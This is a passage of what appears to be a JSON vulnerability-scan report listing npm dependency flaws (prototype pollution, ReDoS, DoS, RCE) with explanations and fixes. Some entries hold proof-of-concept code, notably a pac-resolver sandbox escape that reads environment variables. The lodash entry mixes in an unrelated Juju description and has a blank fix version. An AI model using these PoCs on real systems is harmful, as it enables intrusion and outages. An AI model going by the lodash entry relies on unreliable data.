**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 6.3, + "security-severity": "6.3" + } + }, + { + "id": "SNYK-JS-EXPRESSFILEUPLOAD-473997", + "shortDescription": { + "text": "High severity - Denial of Service (DoS) vulnerability in express-fileupload" + }, + "fullDescription": { + "text": "express-fileupload@0.0.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: express-fileupload\n* Introduced through: goof@1.0.1 and express-fileupload@0.0.5\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › express-fileupload@0.0.5\n# Overview\n[express-fileupload](https://github.com/richardgirges/express-fileupload) is a file upload middleware for express that wraps around busboy.\n\nAffected versions of this package are vulnerable to Denial of Service (DoS). The package does not limit file name length.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n# Remediation\nUpgrade `express-fileupload` to version 1.1.6-alpha.6 or higher.\n# References\n- [GitHub PR](https://github.com/richardgirges/express-fileupload/pull/171)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "SNYK-JS-EXPRESSFILEUPLOAD-2635946", + "shortDescription": { + "text": "Medium severity - Arbitrary File Upload vulnerability in express-fileupload" + }, + "fullDescription": { + "text": "(CVE-2022-27261) express-fileupload@0.0.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: express-fileupload\n* Introduced through: goof@1.0.1 and express-fileupload@0.0.5\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › express-fileupload@0.0.5\n# Overview\n[express-fileupload](https://github.com/richardgirges/express-fileupload) is a file upload middleware for express that wraps around busboy.\n\nAffected versions of this package are vulnerable to Arbitrary File Upload when it is possible for attackers to upload multiple files with the same name, causing an overwrite of files in the web application server.\n# Remediation\nThere is no fixed version for `express-fileupload`.\n\n# References\n- [GitHub Issue](https://github.com/richardgirges/express-fileupload/issues/312)\n- [GitHub Issue](https://github.com/richardgirges/express-fileupload/issues/316)\n- [PoC](https://www.youtube.com/watch?v=3ROHB3ck4tA)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-434", + "npm" + ], + "cvssv3_baseScore": 5.3, + "security-severity": "5.3" + } + }, + { + "id": "SNYK-JS-MPATH-1577289", + "shortDescription": { + "text": "Medium severity - Prototype Pollution vulnerability in mpath" + }, + "fullDescription": { + "text": "(CVE-2021-23438) mpath@0.1.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: mpath\n* Introduced through: goof@1.0.1, mongoose@4.2.4 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › mongoose@4.2.4 › mpath@0.1.1\n# Overview\n[mpath](https://www.npmjs.com/package/mpath) is a package that gets/sets javascript object values using MongoDB-like path notation.\n\nAffected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2018-16490. In particular, the condition `ignoreProperties.indexOf(parts[i]) !== -1` returns `-1` if `parts[i]` is `['__proto__']`. This is because the method that has been called if the input is an array is `Array.prototype.indexOf()` and not `String.prototype.indexOf()`. They behave differently depending on the type of the input.\r\n\r\n## PoC\r\n```\r\nconst mpath = require('mpath');\r\n// mpath.set(['__proto__', 'polluted'], 'yes', {});\r\n// console.log(polluted); // ReferenceError: polluted is not defined\r\n\r\nmpath.set([['__proto__'], 'polluted'], 'yes', {});\r\nconsole.log(polluted); // yes\r\n```\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid " + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 5.6, + "security-severity": "5.6" + } + }, + { + "id": "SNYK-JS-EXPRESSFILEUPLOAD-595969", + "shortDescription": { + "text": "High severity - Prototype Pollution vulnerability in express-fileupload" + }, + "fullDescription": { + "text": "(CVE-2020-7699) express-fileupload@0.0.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: express-fileupload\n* Introduced through: goof@1.0.1 and express-fileupload@0.0.5\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › express-fileupload@0.0.5\n# Overview\n[express-fileupload](https://github.com/richardgirges/express-fileupload) is a file upload middleware for express that wraps around busboy.\n\nAffected versions of this package are vulnerable to Prototype Pollution. If the `parseNested` option is enabled, sending a corrupt HTTP request can lead to denial of service or arbitrary code execution.\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n## For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "SNYK-JS-GOT-2932019", + "shortDescription": { + "text": "Medium severity - Open Redirect vulnerability in got" + }, + "fullDescription": { + "text": "(CVE-2022-33987) got@6.7.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: got\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/update-notifier@2.5.1-rc2 › latest-version@3.1.0 › package-json@4.0.1 › got@6.7.1\n# Overview\n\nAffected versions of this package are vulnerable to Open Redirect due to missing verification of requested URLs. It allowed a victim to be redirected to a UNIX socket.\n# Remediation\nUpgrade `got` to version 11.8.5, 12.1.0 or higher.\n# References\n- [GitHub Diff](https://github.com/sindresorhus/got/compare/v12.0.3...v12.1.0)\n- [GitHub PR](https://github.com/sindresorhus/got/pull/2047)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-601", + "npm" + ], + "cvssv3_baseScore": 5.4, + "security-severity": "5.4" + } + }, + { + "id": "SNYK-JS-HANDLEBARS-480388", + "shortDescription": { + "text": "High severity - Denial of Service (DoS) vulnerability in handlebars" + }, + "fullDescription": { + "text": "(CVE-2019-20922) handlebars@4.0.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: handlebars\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › handlebars@4.0.5\n# Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Denial of Service (DoS). The package's parser may be forced into an endless loop while processing specially-crafted templates, which may allow attackers to exhaust system resources leading to Denial of Service.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `handlebars` to version 4.4.5 or higher.\n# References\n- [GitHub Commit](https://github.com/wycats/handlebars.js/commit/8d5530ee2c3ea9f0aee3fde310b9f36887d00b8b)\n- [GitHub Issue](https://github.com/wycats/handlebars.js/issues/1579)\n- [NPM Security Advisory](https://www.npmjs.com/advisories/1300)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "SNYK-JS-PACRESOLVER-1564857", + "shortDescription": { + "text": "High severity - Remote Code Execution (RCE) vulnerability in pac-resolver" + }, + "fullDescription": { + "text": "(CVE-2021-23406) pac-resolver@3.0.0" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: pac-resolver\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › proxy-agent@3.1.1 › pac-proxy-agent@3.0.1 › pac-resolver@3.0.0\n# Overview\n\nAffected versions of this package are vulnerable to Remote Code Execution (RCE). This can occur when used with untrusted input, due to unsafe PAC file handling.\r\n\r\nIn order to exploit this vulnerability in practice, this either requires an attacker on your local network, a specific vulnerable configuration, or some second vulnerability that allows an attacker to set your config values.\r\n\r\n**NOTE:** The fix for this vulnerability is applied in the `node-degenerator` library, a dependency is written by the same maintainer. \r\n\r\n\r\n## PoC\r\n```js\r\nconst pac = require('pac-resolver');\r\n\r\n// Should keep running forever (if not vulnerable):\r\nsetInterval(() => {\r\n console.log(\"Still running\");\r\n}, 1000);\r\n\r\n// Parsing a malicious PAC file unexpectedly executes unsandboxed code:\r\npac(`\r\n // Real PAC config:\r\n function FindProxyForURL(url, host) {\r\n return \"DIRECT\";\r\n }\r\n\r\n // But also run arbitrary code:\r\n var f = this.constructor.constructor(\\`\r\n // Running outside the sandbox:\r\n console.log('Read env vars:', process.env);\r\n console.log('!!! PAC file is running arbitrary code !!!');\r\n console.log('Can read & could exfiltrate env vars ^');\r\n console.log('Can kill parsing process, like so:');\r\n process.exit(100); // Kill the vulnerable process\r\n // etc etc\r\n \\`);\r\n\r\n f();\r\n\r\n```\n# Remediation\nUpgrade `pac-resolver` to version 5.0.0 or higher.\n# References\n- [GitHub Commit #1](https://github.com/TooTallNate/node-degenerator/commit/ccc3445354135398b6eb1a04c7d27c13b833f2d5)\n- [GitHub Commit #2](https://github.com/TooTallNate/node-degenerator/commit/9d25bb67d957bc2e5425fea7bf7a58b3fc64ff9e)\n- [Github Release](https://github.com/TooTallNate/node-pac-resolver/releases/tag/5.0.0)\n- [Researcher Blog](https://httptoolkit.tech/blog/npm-pac-proxy-agent-vulnerability/)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-94", + "npm" + ], + "cvssv3_baseScore": 8.1, + "security-severity": "8.1" + } + }, + { + "id": "SNYK-JS-FILETYPE-2958042", + "shortDescription": { + "text": "High severity - Denial of Service (DoS) vulnerability in file-type" + }, + "fullDescription": { + "text": "(CVE-2022-36313) file-type@8.1.0" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: file-type\n* Introduced through: goof@1.0.1 and file-type@8.1.0\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › file-type@8.1.0\n# Overview\n\nAffected versions of this package are vulnerable to Denial of Service (DoS). A malformed MKV file could cause the file type detector to get caught in an infinite loop. This would make the application become unresponsive and could be used to cause a DoS attack.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n# Remediation\nUpgrade `file-type` to version 16.5.4, 17.1.3 or higher.\n# References\n- [GitHub 16.5.4 Release](https://github.com/sindresorhus/file-type/releases/tag/v16.5.4)\n- [GitHub 17.1.3 Release](https://github.com/sindresorhus/file-type/releases/tag/v17.1.3)\n- [GitHub Commit](https://github.com/sindresorhus/file-type/commit/2c4d1200c99dffb7d515b9b9951ef43c22bf7e47)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "npm:semver:20150403", + "shortDescription": { + "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in semver" + }, + "fullDescription": { + "text": "(CVE-2015-8855) semver@1.1.4" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: semver\n* Introduced through: goof@1.0.1, npmconf@0.0.24 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › npmconf@0.0.24 › semver@1.1.4\n# Overview\n[semver](https://github.com/npm/node-semver) is a semantic version parser used by npm.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The semver module uses regular expressions when parsing a version string. For a carefully crafted input, the time it takes to process these regular expressions is not linear to the length of the input. Since the semver module did not enforce a limit on the version string length, an attacker could provide a long string that would take up a large amount of resources, potentially taking a server down. This issue therefore enables a potential Denial of Service attack.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `semver` to version 4.3.2 or higher.\n# References\n- [GitHub Release](https://github.com/npm/npm/releases/tag/v2.7.5)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 5.3, + "security-severity": "5.3" + } + }, + { + "id": "SNYK-JS-LODASH-12239302", + "shortDescription": { + "text": "High severity - Denial of Service (DoS) vulnerability in lodash" + }, + "fullDescription": { + "text": "(CVE-2024-6984) lodash@4.17.4" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: lodash\n* Introduced through: goof@1.0.1 and lodash@4.17.4\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/cocoapods-lockfile-parser@3.0.0 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/cocoapods-lockfile-parser@3.0.0 › @snyk/ruby-semver@2.0.4 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/dep-graph@1.13.1 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › inquirer@6.5.2 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-go-plugin@1.11.1 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-config@2.2.3 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nodejs-lockfile-parser@1.17.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/cocoapods-lockfile-parser@3.0.0 › @snyk/dep-graph@1.13.1 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nodejs-lockfile-parser@1.17.0 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-mvn-plugin@2.8.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/dep-graph@1.13.1 › graphlib@2.1.8 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nuget-plugin@1.16.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nuget-plugin@1.16.0 › dotnet-deps-parser@4.9.0 › lodash@4.17.15\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-php-plugin@1.7.0 › @snyk/composer-lockfile-parser@1.2.0 › lodash@4.17.15\n# Overview\n[lodash](https://www.npmjs.com/package/lodash) is a modern JavaScript utility library delivering modularity, performance, & extras.\n\nAffected versions of this package are vulnerable to Denial of Service (DoS). An issue was discovered in Juju that resulted in the leak of the sensitive context ID, which allows a local unprivileged attacker to access other sensitive data or relation accessible to the local charm.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n# Remediation\nUpgrade `lodash` to version or higher.\n# References\n- [AAAA](https://www.cve.org/CVERecord?id=CVE-2024-6984)\n- [GitHub Advisory](https://github.com/juju/juju/security/advisories/GHSA-6vjm-54vp-mxhx)\n- [GitHub 